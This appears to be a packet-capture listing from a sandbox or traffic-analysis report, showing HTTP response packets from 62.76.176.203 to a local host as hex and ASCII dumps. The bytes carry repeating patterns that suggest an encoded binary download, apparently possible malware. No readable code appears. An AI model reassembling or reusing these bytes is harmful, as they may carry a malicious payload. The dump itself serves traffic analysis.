Mrz 4, 2015 14:54:12.946831942 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 4f 39 30 10 13 53 22 0a 2f 37 2d 2b 01 3d 3c 1f 4b 15 34 14 2b 1b 4b 22 4c 02 28 34 1d 31 2e 01 0f 40 53 2b 2e 22 3f 48 39 0a 4d 48 01 0e 0e 1c 1d 2c 3a 32 2a 09 02 0b 4e 1a 41 19 48 48 2e 10 20 01 1a 0d 2c 2e 01 3e 19 3b 2e 10 40 1c 49 0b 2b
Data Ascii: +O90S"/7-+=<K4+K"L(41.@S+."?H9MH,:2*NAHH. ,.>;.@I+A3:"O0<+50+,/H(H+O9>S5"N3K?-5"1+5"H;OHI"OW6J2*3S>@ 3,S6J@I-S6:H>?HHKSN!H>>/+ >SJ9*+K3O,HH <,4/
283
Mrz 4, 2015 14:54:12.946836948 MEZ80103262.76.176.203192.168.1.10Data Raw: 0f 0b 49 29 41 19 2c 57 34 1c 15 3c 10 2a 19 35 4e 14 2c 37 10 15 19 1b 0b 2e 3f 34 2b 1b 3d 36 1f 1c 4e 22 13 02 32 3e 37 13 20 19 15 14 49 16 17 30 20 40 2b 11 20 31 13 39 15 3f 00 29 1a 1b 2b 13 2d 39 13 21 15 3e 1d 02 35 02 35 02 35 02 35 02
Data Ascii: I)A,W4<*5N,7.?4+=6N"2>7 I0 @+ 19?)+-9!>5555555555555555555555555555555555555555555555555555555555.!>;)9999999999999;@.>K:-/))+>:-*
285
Mrz 4, 2015 14:54:12.946840048 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 12 20 3a 11 41 13 4e 2a 1c 48 16 0f 4a 1e 00 2f 4b 2f 3e 00 17 3e 37 32 02 33 00 3c 10 11 22 01 1d 13 16 12 21 0e 00 2b 48 2f 3d 2b 1d 48 3e 0c 1d 2c 2b 0a 1e 09 4b 32 39 10 3f 30 1e 4d 00 2e 12 21 49 32 08 2a 1c 1b 22 4b 00 13 53 1c 37 37 4a
Data Ascii: 2 :AN*HJ/K/>>723<"!+H/=+H>,+K29?0M.!I2*"KS77J?/@?9NLH>"7+-HALKJ1 :6J)//!-,;*@<5:,AM W(3-J@"J-)7OS.)!-S+)=*1>MI<0=OM65HL42+H()!-<@>+5?@//--?;0MI
286
Mrz 4, 2015 14:54:12.946940899 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 2e 32 1c 37 0d 19 29 3d 21 2a 22 10 0d 2d 2f 1c 2d 1c 4c 4d 0d 37 3e 10 1a 13 12 3a 20 15 1f 36 4e 0a 00 10 22 36 2c 32 2c 0e 19 01 36 2e 40 3e 40 34 22 35 33 3f 11 2d 21 1b 19 4c 1b 08 11 2f 19 20 22 21 0c 4b 41 40 0b 13 49 36 11 49 3b 41 09
Data Ascii: .27)=!*"-/-LM7>: 6N"6,2,6.@>@4"53?-!L/ "!KA@I6I;A0I3?.-/62N:)!J **/K1IS-94J@A**56K210M.75M>K-SO09)A *!K7 /K733N/MI<(N. "?5! WK,A.AO
288
Mrz 4, 2015 14:54:12.946945906 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 12 21 2e 1e 0c 4e 00 28 29 0c 1b 09 2a 20 30 0a 21 22 2b 02 09 36 53 0d 31 1a 3d 3d 1b 1a 13 41 36 36 40 08 28 4f 3e 1e 02 12 00 31 2b 49 30 3b 1e 0d 37 28 31 2f 48 33 48 4b 22 53 3f 19 3f 1b 2c 30 22 0a 2d 02 08 13 4b 0d 36 4e 2e 2e 2a 3d 12
Data Ascii: !.N()* 0!"+6S1==A66@(O>1+I0;7(1/H3HK"S??,0"-K6N..*=3!;?K;2!,);+//31>(345ALL M-/*(**1+O00!"5K:!I"27?OI9M,202"<<!M+M>@IOH*2M@L!*AAK0!51I*5>AMI"24@:2:>,?W15=,2,>*+
289
Mrz 4, 2015 14:54:12.946997881 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 41 14 2b 10 34 17 3b 34 4b 30 3a 22 49 48 31 08 01 3f 1b 3d 0a 13 11 19 34 33 0c 22 2c 21 3e 16 0b 2e 29 3f 11 1e 32 4c 3a 2d 16 4d 3e 40 00 32 4a 1b 41 22 32 1e 1e 16 21 1a 3a 31 1f 11 33 33 28 30 22 4b 48 0a 31 4d 2e 36 0e 1d 35 19 30 14 22
Data Ascii: 5A+4;4K0:"IH1?=43",!>.)?2L:-M>@2JA"2!:133(0"KH1M.650"A0+L,>3=I49?H6O/N39(<0L:"+I2W2KI?;3AO*"6MJ/156W-)"@(1J:O)5M+H-==.664K J4*3>))9)(,/*MI/*M*LK!N36S
291
Mrz 4, 2015 14:54:12.947004080 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 14 01 2a 0a 32 1e 1d 4c 40 2f 4d 3e 2e 4a 3a 22 2b 37 0d 40 13 29 1e 4b 3a 49 34 3d 3a 11 2c 35 4f 3e 12 35 35 3e 32 10 0f 3d 4a 12 0c 35 33 1f 1e 49 32 3d 13 37 4e 4f 10 21 3b 02 2c 2e 33 4d 32 21 3e 4f 21 2f 02 35 3d 3f 32 49 13 3f 3b 16 21
Data Ascii: *2L@/M>.J:"+7@)K:I4=:,5O>55>2=J53I2=7NO!;,.3M2!>O!/5=?2I?;!:M<JK!>?322)!/5L?M*-"0+,32*?"@S2?>K!+.M.2<5;.I9)3"/*1J"67(/?H!S3,>2L>K!"4>3"3J!(A,0"MH+J16!"9;0*26H@IK".16>
291
Mrz 4, 2015 14:54:12.947146893 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 20 01 3d 20 3a 20 1c 2e 22 4d 4c 01 37 3a 19 02 4a 32 10 28 0c 21 2a 21 21 10 10 16 3c 08 08 1f 33 14 4b 21 2e 1e 20 36 30 1d 35 28 22 00 4c 19 2e 29 3d 13 2e 2b 0c 22 2d 14 4d 3d 4a 00 36 09 4f 3b 1b 57 1a 0f 3b 1f 2e 3f 15 3c 14 22 08 28 1e
Data Ascii: 2 = : ."ML7:J2(!*!!<3K!. 605("L.)=.+"-M=J6O;W;.?<"(<1J6*6L"K!/!-;4.0*NW :3 62<@ 2-L94703,1- *K!42">)K@1:5I><KJAJM(?<)K466LM/95*K13S!.3L IOH6N*5L7I
293
Mrz 4, 2015 14:54:12.947150946 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 00 3e 32 0e 17 1b 4b 22 12 35 36 2d 1d 2a 4e 30 4a 3e 12 2b 1e 21 0a 2c 3c 22 2a 0e 4c 32 22 21 2b 39 00 33 4e 10 09 20 1f 3e 1e 3a 19 3b 3b 1a 3f 11 0d 2a 1d 11 41 13 19 53 1a 1a 0a 0f 32 29 3e 2e 1e 15 0f 00 37 36 3a 0d 34 2e 35 3f 29 4a 21
Data Ascii: 9>2K"56-*N0J>+!,<"*L2"!+93N >:;;?*AS2)>.76:4.5?)J!:50,)+0"4A2/?=W2W6/<HI2*2.J0+56,+K)"@"6=09?/!24@130 3"K,.)((-,N "*2<4WH.*-4.M;/6JH)3:J,0></3:++I(5
294
Mrz 4, 2015 14:54:12.947164059 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555>/4O1059299999999999999@NSA1 I3!A25M./
296
Mrz 4, 2015 14:54:12.947312117 MEZ80103262.76.176.203192.168.1.10Data Raw: 00 00 08 01 3f 1c 2b 2b 29 57 0b 1c 0d 2f 31 35 2c 49 0f 12 33 1a 3a 2a 1c 02 4a 0c 2b 48 4d 0d 3f 2c 4b 11 1c 21 36 32 2a 40 00 09 1d 35 33 34 41 4b 2a 35 2d 3f 02 2e 4c 22 4a 22 14 4b 3c 00 2e 3b 00 20 4e 2d 36 41 1e 4b 3c 0f 39 3a 48 2f 09 2e
Data Ascii: ?++)W/15,I3:*J+HM?,K!62*@534AK*5-?.L"J"K<.; N-6AK<9:H/.7O-2+I9L 6(A. 5)+,K(SO,+,I S;4+*;+ M0M:-O-" M*:,NS2+/L"OIW93/?:>+-;,JL/+@5,>N,S.L+0+J.?>,*2AI
297
Mrz 4, 2015 14:54:12.947316885 MEZ80103262.76.176.203192.168.1.10Data Raw: 33 2c 4b 14 09 4f 30 0b 2b 2f 01 11 2d 21 33 11 48 16 14 13 35 2f 2c 01 0f 2a 4a 53 0d 4c 2f 3d 21 2c 2a 3e 1f 16 49 11 37 3f 08 40 35 22 00 49 33 2d 19 3a 0d 20 14 2d 1c 13 41 2c 11 2b 2f 3c 15 4a 2a 0c 1b 2c 2a 0c 19 2c 4d 32 2f 19 19 0c 2c 14
Data Ascii: 3,KO0+/-!3H5/,*JSL/=!,*>I7?@5"I3-: -A,+/<J*,*,M2/,,@>@?434916+-/<(/: !;@:=47N-JWO-40?6-A0@!H=..,N!"5>-6643.03W+/K4S?>*>,O."+WKL,M?>6>9HJ7<I,
299
Mrz 4, 2015 14:54:12.947320938 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35
Data Ascii: 555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555>/4O10L:9299999999999999H)<.W75;"<=S!"=,
300
Mrz 4, 2015 14:54:12.947464943 MEZ80103262.76.176.203192.168.1.10Data Raw: 34 09 40 2e 15 40 08 17 16 53 3b 1b 48 1f 1b 4b 33 4c 4d 3a 22 0c 11 0e 13 01 4a 16 4b 14 3f 2b 48 14 0d 3b 2f 14 37 2e 00 0c 3e 1f 21 01 4a 4c 12 2f 39 53 08 36 0d 31 22 49 36 2e 39 1e 40 2e 3d 08 37 16 3f 0a 14 4c 3f 34 1c 16 41 36 3e 2b 1e 1a
Data Ascii: 4@.@S;HK3LM:"JK?+H;/7.>!JL/9S61"I6.9@.=7?L?4A6>+!@=SI0?)K."?L5@;S0W(+!J5<M1J@!I++ 4@-A3/-4J!9"AM0= J>02:M:0)+:L*HA9>S5),19671K/95M-N(056>.5I.+-:
302
Mrz 4, 2015 14:54:12.947469950 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 02 11 11 09 1c 1c 2e 34 21 32 2b 1b 4b 12 12 12 2f 4a 2e 34 15 36 2b 2e 2e 21 1a 16 0c 40 2d 08 37 36 1b 29 31 0e 2e 34 34 37 21 14 2d 14 14 20 10 11 0c 48 00 34 00 02 20 33 08 11 36 10 2e 37 19 08 2d 15 14 0f 21 39 2b 3a 4c 1c 48 48 3e 33 2e
Data Ascii: .4!2+K/J.46+..!@-76)1.447!- H4 36.7-!9+:LHH>3.9!3<0. 12IWI"(?AKJM5-0OJKK.J>>+;:+)5;.W:@)<I 432(=A">W>.37.I=1 1W(.I2!,4A*6?6+OLL7WI-<0H1@1 1L!J0962
303
Mrz 4, 2015 14:54:12.947545052 MEZ80103262.76.176.203192.168.1.10Data Raw: 0f 41 1a 49 49 1b 41 21 02 53 19 17 1d 48 0b 2d 41 4e 19 39 1f 1a 10 3b 40 4a 37 2a 2d 4e 57 2e 2e 57 33 1e 11 16 36 4a 08 13 14 4f 1e 10 17 41 48 1e 0e 35 4a 4a 08 2b 2b 20 3a 1a 11 09 3c 0e 13 08 28 17 20 4b 3f 08 32 13 48 21 19 14 3c 31 2a 41
Data Ascii: AIIA!SH-AN9;@J7*-NW..W36JOAH5JJ++ :<( K?2H!<1*A<<0;LS:6<KI15:S>M?A!?+4(2SO/SS".A=S>)4;/<3+<W>N7@?"NW-5H@.=!L)K: 7SN! =JA");2=0H69"OA>">0((JA!(7"6
304
Mrz 4, 2015 14:54:12.947599888 MEZ80103262.76.176.203192.168.1.10Data Raw: 01 20 48 36 1d 4e 53 4e 10 00 4d 08 4b 29 22 2f 4f 1e 36 0d 28 02 33 48 13 4c 4d 0f 2d 3f 2a 0c 40 32 31 30 40 32 0d 28 1d 0f 53 4f 37 14 3a 36 3d 49 09 20 2f 3e 4b 0d 3e 2b 31 12 2e 2c 3d 33 31 37 39 21 22 09 1e 36 31 3f 22 21 1b 3c 2e 19 2c 2d
Data Ascii: H6NSNMK)"/O6(3HLM-?*@210@2(SO7:6=I />K>+1.,=3179!"61?"!<.,-4.?7343L-.N?<=(,2;4>J73/@;-I@>2A6W:J(* 6940M(+27*,?NL4K"*)(W@J5 (/=K763:; /30:A)II-A-O@7M,AJ7>A@O2-32-
306
Mrz 4, 2015 14:54:12.947604895 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 32 36 1f 49 34 3b 1b 3b 3d 3d 1b 1d 3d 41 36 33 10 08 14 4f 10 1e 4c 1e 3e 32 16 33 0c 08 1d 41 19 3c 2b 1b 3e 32 1a 30 34 4a 0d 14 2e 1e 4b 15 00 20 09 41 49 08 39 4f 57 2b 33 11 4d 2e 2c 33 1c 08 01 3d 4b 33 4f 35 14 2a 17 09 14 09 28 1e 0c
Data Ascii: ,26I4;;===A63OL>23A<+>204J.K AI9OW+3M.,3=K3O5*(MA3(/0(60M(/>KJ7<5"J!A51.>7?9J-(5(<KW5N@)/JL/S/6J2"MKN,!*?/J33-*4,7+/M2/(JL@4-O!2/?!2IWH0".).,0WH9H?
307
Mrz 4, 2015 14:54:12.947701931 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 00 33 36 3c 12 09 2d 3f 2f 2a 22 1a 0c 14 49 41 01 4a 57 0d 19 0f 39 0e 1f 0c 36 3d 31 32 01 4a 1a 19 12 20 10 34 2f 3c 1a 28 3a 33 22 0e 19 13 4a 2c 2a 14 34 32 1b 3d 01 29 4c 19 2c 08 2c 35 22 41 01 3e 14 4c 22 2b 3a 32 2d 36 34 4a 0d 14 13
Data Ascii: 36<-?/*"IAJW96=12J 4/<(:3"J,*42=)L,,5"A>L"+:2-64J;-.,.60O=A<,,H?0J1(+30>SJ2 7=7?;)H-4>3"0// ;+KO>H )K > 6<W(/>K>A@0IK2@AW6-MJ(HK=9!5?<O-*.O6@4"2
308
Mrz 4, 2015 14:54:12.947715998 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
310
Mrz 4, 2015 14:54:12.947721004 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 36 0b 14 1b 1b 30 11 57 00 35 13 3e 1e 4f 29 3b 3d 30 22 30 19 2c 02 02 0c 0a 4f 4e 57 4b 21 53 13 14 0e 3e 0d 33 4a 2b 1e 20 1a 13 2b 1f 36 3d 33 21 4a 1d 40 3d 21 1c 00 1a 49 1c 40 34 37 0a 31 0e 33 3e 20 13 48 36 57 0f 3c 19 57 1f 4c 0e 13
Data Ascii: 60W5>O);=0"0,ONWK!S>3J+ +6=3!J@=!I@4713> H6W<WL+<J1=;=2H2LN/ WHJ-(=:I29(J?5 O+ML7M)= (J+2*1=<H)AW"S;/7:NMJ!"L!L)*(!IILA3"KN,9(0"O:67NO3>:@H3M
311
Mrz 4, 2015 14:54:12.947824001 MEZ80103262.76.176.203192.168.1.10Data Raw: 09 3c 2a 3d 16 10 3e 4d 1e 10 10 4f 37 0d 00 2f 15 16 3b 21 2c 1e 1e 16 36 2c 3a 2f 0e 19 3b 21 2f 0d 00 41 48 00 34 10 10 13 14 22 2a 1c 2a 4f 30 0c 20 4b 2f 16 31 14 1c 40 2b 2e 31 36 29 0c 31 3f 41 22 30 4e 2f 28 31 16 22 02 48 13 14 4c 4b 36
Data Ascii: <*=>MO7/;!,6,:/;!/AH4"**O0 K/1@+.16)1?A"0N/(1"HLK6A!AA(4".MN453 S" W+7=N "+W-?S"94M"0:-A!ISN4=1202=H- ?.SLW?S/ "9)6I;",(?AOW-/92!57ILM<AH!
313
Mrz 4, 2015 14:54:12.947829008 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
314
Mrz 4, 2015 14:54:12.947854996 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 32 08 28 20 3e 16 01 4a 4a 02 0a 33 30 4a 11 14 48 1f 0b 1a 4e 02 1d 2d 32 09 39 14 22 4c 1a 3c 41 21 4f 14 3f 22 4c 02 30 10 13 0e 00 33 41 53 1c
Data Ascii: 22( >JJ30JHN-29"L<A!O?"L03AS
315
Mrz 4, 2015 14:54:12.947932005 MEZ80103262.76.176.203192.168.1.10Data Raw: 09 2f 4a 11 21 15 0a 00 33 4b 14 1d 4d 28 40 0c 57 21 3e 10 1d 0b 28 32 4b 2c 20 3c 57 0f 2f 01 4f 2e 34 36 09 2a 4a 30 1c 21 1f 3b 0d 2c 19 41 2b 3b 3c 01 0a 21 3f 0e 34 2c 3a 32 22 2e 08 19 35 22 40 14 36 36 2a 08 32 28 1a 4c 4e 0c 41 19 14 12
Data Ascii: /J!3KM(@W!>(2K, <W/O.46*J0!;,A+;<!?4,:2".5"@66*2(LNA4>;>(-(A",I=J3S*!:LIK6HJJ11.54,/9"AN3./(3613 3*=,"5*W+3H+; I:MN!-.NN/4>AW4,I=(=O3(?M=3*0H;!.+),>,O<
316
Mrz 4, 2015 14:54:12.947937012 MEZ80103262.76.176.203192.168.1.10Data Raw: 19 2b 57 29 4d 0e 2f 14 14 01 2c 29 35 01 11 10 0d 2a 37 3f 3d 01 4b 02 2f 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: +W)M/,)5*7?=K/5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
318
Mrz 4, 2015 14:54:12.948024988 MEZ80103262.76.176.203192.168.1.10Data Raw: 37 3b 1b 4f 37 21 1a 57 1c 53 3f 2c 0f 00 21 4f 36 40 49 1f 3a 1e 29 2c 08 49 40 4f 37 2b 13 3b 00 1c 08 2c 4c 35 21 15 01 2b 02 49 53 48 0b 13 4c 2c 3f 14 13 48 14 49 09 39 12 30 35 2d 11 34 3f 13 3e 4e 3a 35 34 1c 2d 1b 3c 0c 2b 19 0f 20 0d 10
Data Ascii: 7;O7!WS?,!O6@I:),I@O7+;,L5!+ISHL,?HI905-4?>N:54-<+ N"-5/0;IN--+>-,=.2K!2IN!:-,A4O>-I2H2+=6ISJ3I51:=0--H-S62S),WA=-*7+J-<I?5;I-?2,9:(HO9<==
318
Mrz 4, 2015 14:54:12.948049068 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 49 11 00 12 20 09 49 3f 3e 1f 3c 4d 3e 29 19 1f 37 15 1c 15 3e 0c 01 1b 14 29 19 1a 32 0a 41 4e 30 08 2b 3d 00 10 4f 2a 1c 00 1d 53 4e 0b 00 11 0f 3e 19 11 20 39 19 3f 28 08 13 2a 0f 4e 0f 33 49 10 09 14 1d 1c 2b 41 20 2f 30 0e 49 3b 17 2a 21
Data Ascii: I I?><M>)7>)2AN0+=O*SN> 9?(*N3I+A /0I;*!*;-(SMJ,5<1A2:WH6)I!L"@<I==*57>.*( <7N?,*!;/IL<)J,-)M/KI>9;I+M-K-"S,4M9K<K/7)S:I+;+1IW(.! 0 =J:
320
Mrz 4, 2015 14:54:12.948052883 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 39 39 39 39 39 39 39 39 39 39 39 39 39 39 33 01 17 49 19 16 1c 13 36 34 4d 36 13 01 17 1d 19 16 1e 09 0d 2e 3f 30 17 2f 4a 4f 16 08 1d 48 0f 08 17 48 4e 4d 15 1d 21 37 4c 3a 1c 36 29 13 2d 19 3b 41 19 1a 1d 00 1d 14 30 20 15 20 3d 41 22 09 31
Data Ascii: 2999999999999993I64M6.?0/JOHHNM!7L:6)-;A0 =A"155-".A015!/SKH )?"HJ5O39"W( 5?76!W1==@3)5+> 9L@<643/)<13>S2=1 @-JO:2!7<6/6<H ,?6++++L-
321
Mrz 4, 2015 14:54:12.948167086 MEZ80103262.76.176.203192.168.1.10Data Raw: 40 0f 0b 13 0a 3e 53 22 36 10 49 0e 41 2b 08 2f 09 16 2b 2b 20 1d 02 22 48 10 34 49 48 2a 35 4d 20 13 53 34 31 57 35 12 2f 14 35 4d 2d 0d 3b 1a 3d 0d 11 08 2e 3f 29 17 22 1d 4e 41 48 13 40 37 1f 0f 4d 21 30 19 48 41 2e 15 08 2b 14 3e 57 21 20 0e
Data Ascii: @>S"6IA+/++ "H4IH*5M S41W5/5M-;=.?)"NAH@7M!0HA.+>W! =5K <?NA:57)!0H,I5-3;,,JH-5M9-3+ @ALM=-)<I2M3H.4AJ"5=-/"5>5+",S)I663",0920I=K127AK2L/< >+! M4=./;/, 3
323
Mrz 4, 2015 14:54:12.948172092 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
324
Mrz 4, 2015 14:54:12.948175907 MEZ80103262.76.176.203192.168.1.10Data Raw: 33 14 40 2d 19 00 36 0f 16 37 36 4d 3f 20 1f 4a 17 48 14 32 1c 1d 3e 1c 12 32 4f 00 20 3c 49 0d 1a 0c 0c 4d 16 3e 4f 49 21 4b 32 4b 33 21 09 29 2c 1f 36 3f 0d 0c 09 0e 16 28 4a 31 4a 2e 10 2d 3e 3e 36 14 3f 3a 2a 15 13 10 4f 49 0b 08 19 19 4a 33
Data Ascii: 3@-676M? JH2>2O <IM>OI!K2K3!),6?(J1J.->>6?:*OIJ3-+, !33;,K -(NW"+.MMN,12,>?2I4934 3 23(K1@/7"0M3.?3A"O0@M+2 OJ>,,6AL>W)4.2"MAK3?:J)26K(1!LA,W@/(>/L3>>*>L
326
Mrz 4, 2015 14:54:12.948195934 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555555555555555555.!>
326
Mrz 4, 2015 14:54:13.142040968 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 39 15 19 3c 02 15 36 4a 14 4f 02 1b 3b 2c 48 32 08 08 39 11 29 35 49 0b 3d 4e 2d 1c 30 10 1f 08 2a 0b 2e 4f 29 09 2d 2d 36 10 00 0b 15 0c 08 31 01 3b 3b 12 40 2e 0d 08 30 00 28 40 3a 4a 41 17 32
Data Ascii: 9;)99999999999999<6JO;,H29)5I=N-0*.O)--61;;@.0(@:JA2O0+H,O27?10)N)W07L5 IKW? M+ "H5:74IL2L3<)A*L/3"+A92J-M>HK47) NK4ANO>/!M).O<2A.)>2N>MI<3N,IH,
327
Mrz 4, 2015 14:54:13.143076897 MEZ80103262.76.176.203192.168.1.10Data Raw: 3a 0a 13 2f 3b 0c 01 2d 0c 30 4c 53 35 2a 2b 2f 2d 2e 4a 0a 01 1d 1d 29 0d 2d 2b 21 10 1d 31 37 22 29 2c 2a 48 11 14 53 48 41 4a 32 13 35 2c 1e 2b 19 17 4b 0b 0e 49 10 2d 2a 1f 00 21 0f 08 1a 11 17 2c 49 0f 35 2b 36 2c 1a 2b 4b 0d 0d 14 2e 2d 14
Data Ascii: :/;-0LS5*+/-.J)-+!17"),*HSHAJ25,+KI-*!,I5+6,+K.-/:=; 6>HOL2AI6NM";--I9N-!W3*N,*3/+AI9? NIJLH-L+!AK45A2<"H9;NJ- /OHI..4-K00"=KKNL-=:H<HS/
328
Mrz 4, 2015 14:54:13.143083096 MEZ80103262.76.176.203192.168.1.10Data Raw: 0f 0d 13 00 1d 19 08 0d 15 0c 4a 16 3e 17 09 13 2d 1a 2f 3b 39 12 4b 30 0b 00 14 00 2b 15 22 3a 0c 02 1a 12 0f 2f 36 39 3d 48 29 3a 32 11 3b 4b 0b 2d 4c 3c 33 1a 1c 4e 1f 3a 4d 3e 4b 09 1a 29 1f 2d 21 30 3e 2f 1e 3e 0e 29 1a 22 2f 33 2c 49 21 1f
Data Ascii: J>-/;9K0+":/69=H):2;K-L<3N:M>K)-!0>/>)"/3,I!H//.L9:2 3M+A92I>@!HNN/+//6-5*I7.K=I-9-A9.7=@-W?M0==W?;37 :/@5!<O6 3N2K;9S>KS,I*K.
330
Mrz 4, 2015 14:54:13.143224955 MEZ80103262.76.176.203192.168.1.10Data Raw: 4c 48 37 1e 2a 1f 53 1a 0c 2b 2c 29 2b 41 1b 22 13 28 2f 1d 53 40 1c 02 3e 10 2b 2f 36 53 3f 0a 1e 2c 2c 00 0b 3f 4e 48 3a 10 11 3a 3d 3b 2e 4a 2b 10 3d 2a 00 3e 17 36 53 4a 2d 4a 40 19 32 2a 3a 13 1f 3d 2e 2c 3b 4b 0d 15 2d 4b 2f 1f 4d 08 0e 0e
Data Ascii: LH7*S+,)+A"(/S@>+/6S?,,?NH::=;.J+=*>6SJ-J@2*:=.,;K-K/M*5=;>KM "*.>.J6+@J)J)/5A<IAJ:+HNAJ6==AHW"HW;M07!@5"J0HM4!0@+HO@>LH!93L5N5,O99;M-4>"+/-<7,I,;<H
331
Mrz 4, 2015 14:54:13.144685030 MEZ80103262.76.176.203192.168.1.10Data Raw: 33 2b 19 36 32 08 1c 4a 4a 2a 1d 4d 4b 4b 14 12 2b 12 2e 08 2a 20 12 49 4c 4c 20 34 3f 2f 36 53 0d 33 1a 3e 1e 00 48 12 32 2d 2e 32 48 32 1c 08 4b 1d 37 02 1b 09 49 1e 09 13 15 16 4c 0c 0a 57 2d 09 2e 09 57 20 1d 4e 4e 1a 2e 2b 1a 02 4e 2a 0c 1a
Data Ascii: 3+62JJ*MKK+.* ILL 4?/6S3>H2-.2H2K7ILW-.W NN.+N*L=K,3;>+N(.*L1W+0K,-IO/NMW2.K6!<<?M2+*:L/5.62-:2)K*<4AO-M13I"NA.*:*.W1=K,13?9 2!:-I@-?2-O2NN 3HIA/.9
332
Mrz 4, 2015 14:54:13.144690990 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 2f 35 33 0c 39 4f 3c 3e 0a 3e 1a 48 34 2d 13 36 1e 41 3a 1a 13 15 2a 1a 1f 30 36 13 39 34 32 1a 0c 4f 36 4c 21 20 3b 14 10 16 0c 2e 12 34 22 0d 11 1a 1d 4f 01 2e 53 09 2d 14 14 2a 41 0c 36 41 2f 48 57 08 4e 40 3a 0e 0e 13 4a 30 4c 1a 3d 32 14
Data Ascii: 2/539O<>>H4-6A:*06942O6L! ;.4"O.S-*A6A/HWN@:J0L=2"1*->H?).=6:":-22LM:12!46!/3NJ0 JO6HJJ"=7HL72"::5,?>**J!3@.6W@)9H>M+)M-*2J>?O070>**I0I)9H?;"J526,OMK2>6>
334
Mrz 4, 2015 14:54:13.144704103 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 09 13 12 2f 1a 48 01 09 20 48 48 4b 2f 09 3e 0e 37 48 13 57 2f 1e 0b 01 3f 20 3e 0e 4e 09 4e 0b 49 08 3d 15 0d 2b 2e 4f 15 3f 37 00 2c 2c 00 2a 2f 13 41 22 39 33 22 1f 49 3a 1e 02 19 2b 49 15 1f 14 36 00 2f 36 17 2c 48 01 49 01 0d 3d 30 4c 2b
Data Ascii: 2/H HHK/>7HW/? >NNI=+.O?7,,*/A"93"I:+I6/6,HI=0L+>:-H5S5 7(>3-N/*,A:. +7:KH; J-7HHIK-JNH=+AA@+M)> H0/6; =5?0M+INO;O1>9/65++H!W>0J-;>H>-+?-
334
Mrz 4, 2015 14:54:13.145582914 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 2f 1b 29 0c 10 48 2d 4f 2a 01 2b 12 4d 36 1d 15 32 0b 2b 1b 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 9/)H-O*+M62+55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.!9;)9999999
336
